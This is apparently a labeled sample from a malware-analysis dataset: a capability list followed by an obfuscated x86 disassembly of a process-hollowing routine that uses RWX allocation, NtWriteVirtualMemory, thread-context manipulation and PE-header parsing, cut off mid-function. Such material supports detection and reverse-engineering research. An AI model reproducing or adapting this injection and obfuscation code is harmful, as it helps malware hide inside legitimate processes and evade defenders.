Function at 0x10003400
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x148
mov eax, dword [0x10063400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x149], al
mov dword [ebp - 0x150], 0xe9e528de
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
sub eax, 0x818f54a1
je 0x10005346
jmp 0x10003473
mov eax, dword [ebp - 0x154]
sub eax, 0x85bdb5e6
je 0x100059a8
jmp 0x10003489
mov eax, dword [ebp - 0x154]
sub eax, 0x88219696
je 0x1000664c
jmp 0x1000349f
mov eax, dword [ebp - 0x154]
sub eax, 0x890e8bdb
je 0x10006889
jmp 0x100034b5
mov eax, dword [ebp - 0x154]
sub eax, 0x8d68d5d0
je 0x10005b0a
jmp 0x100034cb
mov eax, dword [ebp - 0x154]
sub eax, 0x8e0a3302
je 0x10006e5c
jmp 0x100034e1
mov eax, dword [ebp - 0x154]
sub eax, 0x8ef4b43f
je 0x100065b2
jmp 0x100034f7
mov eax, dword [ebp - 0x154]
sub eax, 0x8f2668e5
je 0x10007198
jmp 0x1000350d
mov eax, dword [ebp - 0x154]
sub eax, 0x9076f9f5
je 0x10005e91
jmp 0x10003523
mov eax, dword [ebp - 0x154]
sub eax, 0x92ad3af1
je 0x1000450f
jmp 0x10003539
mov eax, dword [ebp - 0x154]
sub eax, 0x93616226
je 0x10006b2b
jmp 0x1000354f
mov eax, dword [ebp - 0x154]
sub eax, 0x94e5c39b
je 0x1000525e
jmp 0x10003565
mov eax, dword [ebp - 0x154]
sub eax, 0x97652906
je 0x10004aa2
jmp 0x1000357b
mov eax, dword [ebp - 0x154]
sub eax, 0x98ea7bc9
je 0x10004b07
jmp 0x10003591
mov eax, dword [ebp - 0x154]
sub eax, 0x9f86a52e
je 0x10004c90
jmp 0x100035a7
mov eax, dword [ebp - 0x154]
sub eax, 0xa065ada4
je 0x1000637c
jmp 0x100035bd
mov eax, dword [ebp - 0x154]
sub eax, 0xa2524654
je 0x100073ef
jmp 0x100035d3
mov eax, dword [ebp - 0x154]
sub eax, 0xa278a638
je 0x100063f2
jmp 0x100035e9
mov eax, dword [ebp - 0x154]
sub eax, 0xa3c5e0ec
je 0x100070dd
jmp 0x100035ff
mov eax, dword [ebp - 0x154]
sub eax, 0xa5423358
je 0x10004948
jmp 0x10003615
mov eax, dword [ebp - 0x154]
sub eax, 0xa63582bf
je 0x100054b0
jmp 0x1000362b
mov eax, dword [ebp - 0x154]
sub eax, 0xa78fbc1c
je 0x10005e73
jmp 0x10003641
mov eax, dword [ebp - 0x154]
sub eax, 0xa8a5da92
je 0x100065f8
jmp 0x10003657
mov eax, dword [ebp - 0x154]
sub eax, 0xa90c8738
je 0x10004c04
jmp 0x1000366d
mov eax, dword [ebp - 0x154]
sub eax, 0xab814daf
je 0x10004f8f
jmp 0x10003683
mov eax, dword [ebp - 0x154]
sub eax, 0xac9ba45b
je 0x10006ed2
jmp 0x10003699
mov eax, dword [ebp - 0x154]
sub eax, 0xaef56588
je 0x1000675c
jmp 0x100036af
mov eax, dword [ebp - 0x154]
sub eax, 0xb18dfe1c
je 0x100059f1
jmp 0x100036c5
mov eax, dword [ebp - 0x154]
sub eax, 0xb260a6e9
je 0x1000595b
jmp 0x100036db
mov eax, dword [ebp - 0x154]
sub eax, 0xb4472d98
je 0x10007224
jmp 0x100036f1
mov eax, dword [ebp - 0x154]
sub eax, 0xb487b236
je 0x100057f1
jmp 0x10003707
mov eax, dword [ebp - 0x154]
sub eax, 0xb4d939e2
je 0x10006b1c
jmp 0x1000371d
mov eax, dword [ebp - 0x154]
sub eax, 0xb530ac20
je 0x10005397
jmp 0x10003733
mov eax, dword [ebp - 0x154]
sub eax, 0xb5567e9c
je 0x1000586e
jmp 0x10003749
mov eax, dword [ebp - 0x154]
sub eax, 0xb84b6f15
je 0x10006ee4
jmp 0x1000375f
mov eax, dword [ebp - 0x154]
sub eax, 0xbb19b0de
je 0x10006d09
jmp 0x10003775
mov eax, dword [ebp - 0x154]
sub eax, 0xbc11298c
je 0x10006ffb
jmp 0x1000378b
mov eax, dword [ebp - 0x154]
sub eax, 0xbdccf937
je 0x100054bf
jmp 0x100037a1
mov eax, dword [ebp - 0x154]
sub eax, 0xbe7ac3e7
je 0x10005c6a
jmp 0x100037b7
mov eax, dword [ebp - 0x154]
sub eax, 0xbf601dff
je 0x10004dd8
jmp 0x100037cd
mov eax, dword [ebp - 0x154]
sub eax, 0xbf7852c7
je 0x1000735a
jmp 0x100037e3
mov eax, dword [ebp - 0x154]
sub eax, 0xbf9d3402
je 0x10006452
jmp 0x100037f9
mov eax, dword [ebp - 0x154]
sub eax, 0xbfda5305
je 0x10006036
jmp 0x1000380f
mov eax, dword [ebp - 0x154]
sub eax, 0xc0c94cfa
je 0x1000627e
jmp 0x10003825
mov eax, dword [ebp - 0x154]
sub eax, 0xc1d80ee8
je 0x10005e1f
jmp 0x1000383b
mov eax, dword [ebp - 0x154]
sub eax, 0xc394fd2a
je 0x100043f3
jmp 0x10003851
mov eax, dword [ebp - 0x154]
sub eax, 0xc66067b6
je 0x100061ad
jmp 0x10003867
mov eax, dword [ebp - 0x154]
sub eax, 0xc7977d6c
je 0x10005005
jmp 0x1000387d
mov eax, dword [ebp - 0x154]
sub eax, 0xca8e97f3
je 0x1000481e
jmp 0x10003893
mov eax, dword [ebp - 0x154]
sub eax, 0xcc94e583
je 0x100066c2
jmp 0x100038a9
mov eax, dword [ebp - 0x154]
sub eax, 0xcd3bd5c3
je 0x100049cb
jmp 0x100038bf
mov eax, dword [ebp - 0x154]
sub eax, 0xcd4a111f
je 0x10006bd8
jmp 0x100038d5
mov eax, dword [ebp - 0x154]
sub eax, 0xce1fe5e4
je 0x100052f7
jmp 0x100038eb
mov eax, dword [ebp - 0x154]
sub eax, 0xceca7093
je 0x100046ec
jmp 0x10003901
mov eax, dword [ebp - 0x154]
sub eax, 0xcf2fc731
je 0x100073c2
jmp 0x10003917
mov eax, dword [ebp - 0x154]
sub eax, 0xcff10cd8
je 0x1000482d
jmp 0x1000392d
mov eax, dword [ebp - 0x154]
sub eax, 0xd0e1463d
je 0x1000585f
jmp 0x10003943
mov eax, dword [ebp - 0x154]
sub eax, 0xd151eedf
je 0x1000716e
jmp 0x10003959
mov eax, dword [ebp - 0x154]
sub eax, 0xd158c9e9
je 0x10004bf5
jmp 0x1000396f
mov eax, dword [ebp - 0x154]
sub eax, 0xd1a9d8c7
je 0x100046fb
jmp 0x10003985
mov eax, dword [ebp - 0x154]
sub eax, 0xd24ddb06
je 0x10005c88
jmp 0x1000399b
mov eax, dword [ebp - 0x154]
sub eax, 0xd5789f63
je 0x10006630
jmp 0x100039b1
mov eax, dword [ebp - 0x154]
sub eax, 0xd64deb18
je 0x10006177
jmp 0x100039c7
mov eax, dword [ebp - 0x154]
sub eax, 0xd6dd23bf
je 0x10005c13
jmp 0x100039dd
mov eax, dword [ebp - 0x154]
sub eax, 0xd7fcbb60
je 0x10004f0c
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x138], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
add edx, 0x2af49603
sub edx, 1
sub edx, 0x2af49603
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb84b6f15
mov ecx, 0x92ad3af1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0x2d10d3f8
jmp 0x100073f9
mov dword [ebp - 0x150], 0xd1a9d8c7
jmp 0x100073f9
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0x8dff9c1
mov ecx, 0x32e521b7
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0xcff10cd8
jmp 0x100073f9
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xd0]
sub ecx, 0x43ca0248
add ecx, eax
add ecx, 0x43ca0248
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x150], 0x5d310faa
jmp 0x100073f9
mov eax, dword [ebp - 0xc8]
add eax, 0x70
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x150], 0x25e73ca5
jmp 0x100073f9
mov dword [ebp - 0x150], 0x444d2025
jmp 0x100073f9
mov eax, dword [ebp - 0xc0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb9], al
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
sub edx, 0xdf795f23
sub edx, 1
add edx, 0xdf795f23
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1a075a4
mov ecx, 0x98ea7bc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dl, byte [ebp - 0xb9]
mov eax, 0x3e13277e
mov ecx, 0x226bcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0xa90c8738
jmp 0x100073f9
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xb8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0xf36249ca
mov ecx, 0x476073c2
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
add edx, 0x459453b3
sub edx, 1
sub edx, 0x459453b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x558d3478
mov ecx, 0xd92869e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x150], 0x1260bc45
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
sub edx, 0x967a93e0
sub edx, 1
add edx, 0x967a93e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbc11298c
mov ecx, 0xc7977d6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
add edx, 0xdd7a5948
sub edx, 1
sub edx, 0xdd7a5948
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc11298c
mov ecx, 0x611909ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x150], 0x6708c97c
jmp 0x100073f9
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x150], 0x39b88d43
jmp 0x100073f9
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
sub edx, 0xdf401e52
sub edx, 1
add edx, 0xdf401e52
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x208302db
mov ecx, 0xb530ac20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
mov edx, dword [edx]
mov esi, dword [ebp - 0x104]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x114]
mov esi, dword [esi]
mov edi, dword [ebp - 0x104]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x138]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x208302db
mov ecx, 0xa63582bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0xbdccf937
jmp 0x100073f9
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x7c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003340
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov eax, dword [ebp - 0x114]
mov esi, dword [eax]
mov eax, dword [ebp - 0x104]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x2b5d5cb4
mov ecx, 0x49bc3f0e
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4126d45c
mov ecx, 0xd0e1463d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dword [ebp - 0x150], 0xb5567e9c
jmp 0x100073f9
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
add ecx, 0x344fe2cb
add ecx, 1
sub ecx, 0x344fe2cb
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0xf2dee920
jmp 0x100073f9
mov dword [ebp - 0x150], 0xce1fe5e4
jmp 0x100073f9
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5cd917ce
mov ecx, 0xb18dfe1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
add edx, 0x613ceb44
sub edx, 1
sub edx, 0x613ceb44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5cd917ce
mov ecx, 0xe5ffe380
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x58], eax
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
add edx, 0xb859079f
sub edx, 1
sub edx, 0xb859079f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8f2668e5
mov ecx, 0x2e6f6cc0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x58]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59839899
mov ecx, 0xbe7ac3e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov dl, byte [ebp - 0x51]
mov eax, 0xa065ada4
mov ecx, 0xd24ddb06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x150], 0xe132927c
jmp 0x100073f9
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xf47380d7
or eax, edx
or ecx, 0xf47380d7
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x3d], al
mov dword [ebp - 0x150], 0xa78fbc1c
jmp 0x100073f9
mov dl, byte [ebp - 0x3d]
mov eax, 0xd64deb18
mov ecx, 0x9076f9f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
sub edx, 0xf5059f
sub edx, 1
add edx, 0xf5059f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4faa2b01
mov ecx, 0x326841df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x34]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x150], 0x624d4674
jmp 0x100073f9
mov dword [ebp - 0x150], 0x585fed7a
jmp 0x100073f9
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x251fb75b
mov ecx, 0xfedb2862
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub ecx, 0xd5dc023f
add ecx, eax
add ecx, 0xd5dc023f
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0x3f0ab62c
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
sub edx, 0x983ea541
sub edx, 1
add edx, 0x983ea541
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1153dc15
mov ecx, 0xa278a638
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
sub edx, 0xadbacac1
sub edx, 1
add edx, 0xadbacac1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1153dc15
mov ecx, 0x620adab6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0x124]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x150], 0xfce0d35d
jmp 0x100073f9
mov dl, byte [ebp - 0x25]
mov eax, 0xecea6640
mov ecx, 0x3fea15c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xa8]
mov ecx, dword [ebp - 0x24]
add ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0xd5789f63
jmp 0x100073f9
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x150], 0x88219696
jmp 0x100073f9
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
mov edx, ecx
sub edx, 0x7df83560
sub edx, 1
add edx, 0x7df83560
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x654dd66b
mov ecx, 0xcc94e583
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x1c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x15], al
mov ecx, dword [0x10064738]
mov eax, dword [0x10064734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x654dd66b
mov ecx, 0xdad34ad9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [0x10064738]
mov ecx, dword [0x10064734]
mov edx, eax
add edx, 0xe61d30a8
sub edx, 1
sub edx, 0xe61d30a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x40fb6c68
mov ecx, 0x18962c8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x100073f9
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
